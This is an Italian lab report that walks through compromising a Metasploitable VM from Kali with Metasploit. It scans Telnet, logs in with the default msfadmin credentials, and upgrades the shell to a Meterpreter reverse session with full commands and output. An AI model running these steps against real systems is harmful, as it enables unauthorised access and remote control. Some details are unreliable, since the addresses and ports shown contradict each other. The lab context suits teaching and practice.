

S7 – L2

EXPLOIT DEL SERVIZIO TELNET CON METASPLOIT

Introduzione:

L'esercizio ha l'obiettivo di analizzare l'utilizzo dei moduli di Metasploit per l'identificazione di servizi esposti, l'autenticazione su un sistema target e la gestione delle sessioni ottenute.

L'attività è stata svolta in un ambiente di laboratorio controllato, utilizzando Kali Linux come sistema attaccante e Metasploitable come macchina target, con particolare attenzione alle fasi di scanning, accesso remoto e post-exploitation.

Prerequisiti: (prima di Metasploit)

1. Verifica IP Metasploitable

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,NO-SIEC> mtu 16436 qdisc noop
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:1f:9d:ff brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.101/24 brd 192.168.50.255 scope global eth0
        inet6 fe80::a00:27ff:fe1f:9dff/64 scope link
            valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

- Kali (attaccante) e Metasploitable (target) devono stare **nella stessa rete** e pingarsi.

Comandi (Kali):

```
ip a
ping 192.168.50.101 (IP Metasploitable)
```

```
(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host noprefixroute
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
        inet 192.168.50.101/24 brd 192.168.50.255 scope global noprefixroute eth0
            valid_lft forever preferred_lft forever
        inet6 fe80::ba1a:16e9:24eb:d30b/64 scope link noprefixroute
            valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=1.22 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=1.44 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=1.70 ms
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=3.15 ms
^C
--- 192.168.50.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3063ms
rtt min/avg/max/mdev = 1.218/1.875/3.152/0.755 ms

(kali㉿kali)-[~]
└─$
```

- `ip a` (IP Kali visibile)
- `ping` OK verso Metasploitable

FASE 1 — Scansione Telnet con `telnet_version`

Obiettivo: analizzare il servizio Telnet su Metasploitable usando `auxiliary/scanner/telnet/telnet_version`.

1. Avviare Metasploit:

msfconsole

2. Caricare il modulo:

use auxiliary/scanner/telnet/telnet_version

3. Controlla i parametri:

show options

4. Impostare il target:

set RHOSTS 192.168.50.101

5. Eseguire:

run

(In alcuni si può usare anche `exploit`, ma per i moduli auxiliary è tipicamente `run`.)

Cosa ottengo

- Output del modulo con le info del servizio Telnet (version/banner).

```
(kali㉿kali)-[~]
$ msfconsole

Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and ...
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v6.4.103-dev                      ]
+ -- ---=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads      ]
+ -- ---=[ 434 post - 49 encoders - 14 nops - 9 evasion        ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

- show options con RHOSTS
 - set RHOSTS 192.168.50.101 (Ip Metaspotable)
 - Output di run

FASE 2 — Autenticazione e creazione sessione con telnet_login

Obiettivo: ottenere accesso tramite credenziali note con **auxiliary/scanner/telnet/telnet_login** impostando: **RHOSTS**, **USERNAME**, **PASSWORD**, **STOP_ON_SUCCESS=true**.

1. Caricare il modulo:

```
use auxiliary/scanner/telnet/telnet_login
```

2. Verificare opzioni:

```
show options
```

3. Imposta target e credenziali

```
set RHOSTS <IP_METASPOITABLE>
set USERNAME msfadmin
set PASSWORD msfadmin
set STOP_ON_SUCCESS true
```

4. Eseguire:

```
run
```

```
msf auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

Name          Current Setting  Required  Description
----          --------------  -----      -----
ANONYMOUS_LOGIN    false        yes       Attempt to login with a blank username and password
BLANK_PASSWORDS   false        no        Try blank passwords for all users
BRUTEFORCE_SPEED  5           yes       How fast to bruteforce, from 0 to 5
CreateSession     true         no        Create a new session for every successful login
DB_ALL_CREDS     false        no        Try each user/password couple stored in the current database
DB_ALL_PASS       false        no        Add all passwords in the current database to the list
DB_ALL_USERS      false        no        Add all users in the current database to the list
DB_SKIP_EXISTING  none         no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD          no           no        A specific password to authenticate with
PASS_FILE         no           no        File containing passwords, one per line
RHOSTS            yes          yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT              23          yes      The target port (TCP)
STOP_ON_SUCCESS   false        yes      Stop guessing when a credential works for a host
THREADS            1           yes      The number of concurrent threads (max one per host)
USERNAME           no           no        A specific username to authenticate as
USERPASS_FILE     no           no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS      false        no        Try the username as the password for all users
USER_FILE          no           no        File containing usernames, one per line
VERBOSE            true         yes      Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

```

View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.50.101:23 - No active DB -- Credential data will not be saved!
[+] 192.168.50.101:23 - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23 - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.100:33599 → 192.168.50.101:23) at 2026-01-20 09:26:15 -0500
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > ■

```

Cosa ottengo

- Output che indica **SUCCESS** e la creazione di **una sessione** (command shell/telnet).
 - `show options` con i parametri valorizzati
 - Output di `run` con “success” e riferimento alla sessione creata
-

FASE 3 — Gestione sessioni (**sessions -l / sessions -i**)

Obiettivo: verificare e interagire con la sessione creata.

1. Lista sessioni:

sessions -l

2. Interagire con la sessione (usare l’ID reale):

sessions -i 1 (ID_SESSONE)

3. Eseguire i comandi di verifica (dentro la shell):

whoami

id

uname -a

ifconfig

```

msf auxiliary(scanner/telnet/telnet_login) > sessions -l
Active sessions
-----
[1] shell TELNET msfadmin:msfadmin (192.168.50.101:23) 192.168.50.100:33599 → 192.168.50.101:23 (192.168.50.101)

[*] Starting interaction with 1 ...

msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ id
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ ifconfig
ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:1f:9d:ff
          inet addr:192.168.50.101 Bcast:192.168.50.255 Mask:255.255.255.0
              inet6 addr: fe80::a00:27ff:fe1f:9dff/64 Scope:Link
                  UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
                  RX packets:592 errors:0 dropped:0 overruns:0 frame:0
                  TX packets:231 errors:0 dropped:0 overruns:0 carrier:0
                  collisions:0 txqueuelen:1000
                  RX bytes:188447 (184.0 KB) TX bytes:21483 (20.9 KB)
                  Base address:0xd010 Memory:f0200000-f0220000

msfadmin@metasploitable:~$ 

```

- sessions - l
 - sessions - i 1 (**ID**)
 - output di whoami / uname - a / ifconfig
-

FASE 4 — Upgrade a Meterpreter con shell_to_meterpreter

Obiettivo: mettere in background la sessione e fare upgrade a Meterpreter con post/multi/manage/shell_to_meterpreter.

1. Mettere in background la sessione attiva:

- Premere **Ctrl+Z**
 - quando chiede conferma, rispondere **y**
2. Caricare il modulo di upgrade:

use post/multi/manage/shell_to_meterpreter

3. Controllare opzioni:

show options

4. Impostare la sessione da upgradare:

set SESSION 1 (ID_SESSIONE)

5. (Se richiesto) impostare listener/host:

- Se nelle opzioni compaiono LHOST / LPORT, impostare:

```
set LHOST 192.168.50.100 (IP_KALI)
set LPORT 4444
```

6. Eseguire:

```
run
```

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):
Name      Current Setting  Required  Description
-----  -----  -----  -----
HANDLER   true            yes       Start an exploit/multi/handler to receive the connection
LHOST     192.168.50.100  no        IP of host that will receive the connection from the payload (Will try to auto detect)
LPORT     4444            yes       Port for payload to connect to.
SESSION    1               yes       The session to run this module on

View the full module info with the info, or info -d command.
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):
Name      Current Setting  Required  Description
-----  -----  -----  -----
HANDLER   true            yes       Start an exploit/multi/handler to receive the connection
LHOST     192.168.50.100  no        IP of host that will receive the connection from the payload (Will try to auto detect)
LPORT     4444            yes       Port for payload to connect to.
SESSION    1               yes       The session to run this module on

View the full module info with the info, or info -d command.
msf post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.101:49234) at 2026-01-20 10:03:07 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > 
```

7. Verificare che Meterpreter sia attivo:

```
sessions -l
```

8. Entrare nella nuova sessione Meterpreter (di solito avrà un **nuovo ID**):

```
sessions -i 2 (NUOVO_ID)
```

9. Test rapidi in Meterpreter:

getuid
sysinfo

```
msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
=====
[Id] [Name] [Type] [Information] [Connection]
-- -- -- -- --
1 shell TELNET msfadmin:msfadmin (192.168.50.101:23) 192.168.50.100:33599 → 192.168.50.101:23 (192.168.50.101)
2 meterpreter x86/linux msfadmin @ metasploitable.localdomain 192.168.50.100:4433 → 192.168.50.101:49234 (192.168.50.101)

[*] Starting interaction with 2 ...

meterpreter > getuid
Server username: msfadmin
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

- Ctrl+Z + conferma y
- show options del modulo shell_to_meterpreter
- set SESSION 1 (ID SESSIONE)
- output di run
- sessions -l con la sessione Meterpreter
- getuid/sysinfo

Conclusioni:

L'esercizio ha dimostrato l'efficacia dei moduli di Metasploit nel **rilevare servizi vulnerabili, ottenere l'accesso remoto tramite credenziali note e gestire correttamente le sessioni attive.**

L'upgrade della shell a una sessione Meterpreter ha consentito di confermare il pieno controllo del sistema target, validando le tecniche di post-exploitation applicate nel laboratorio.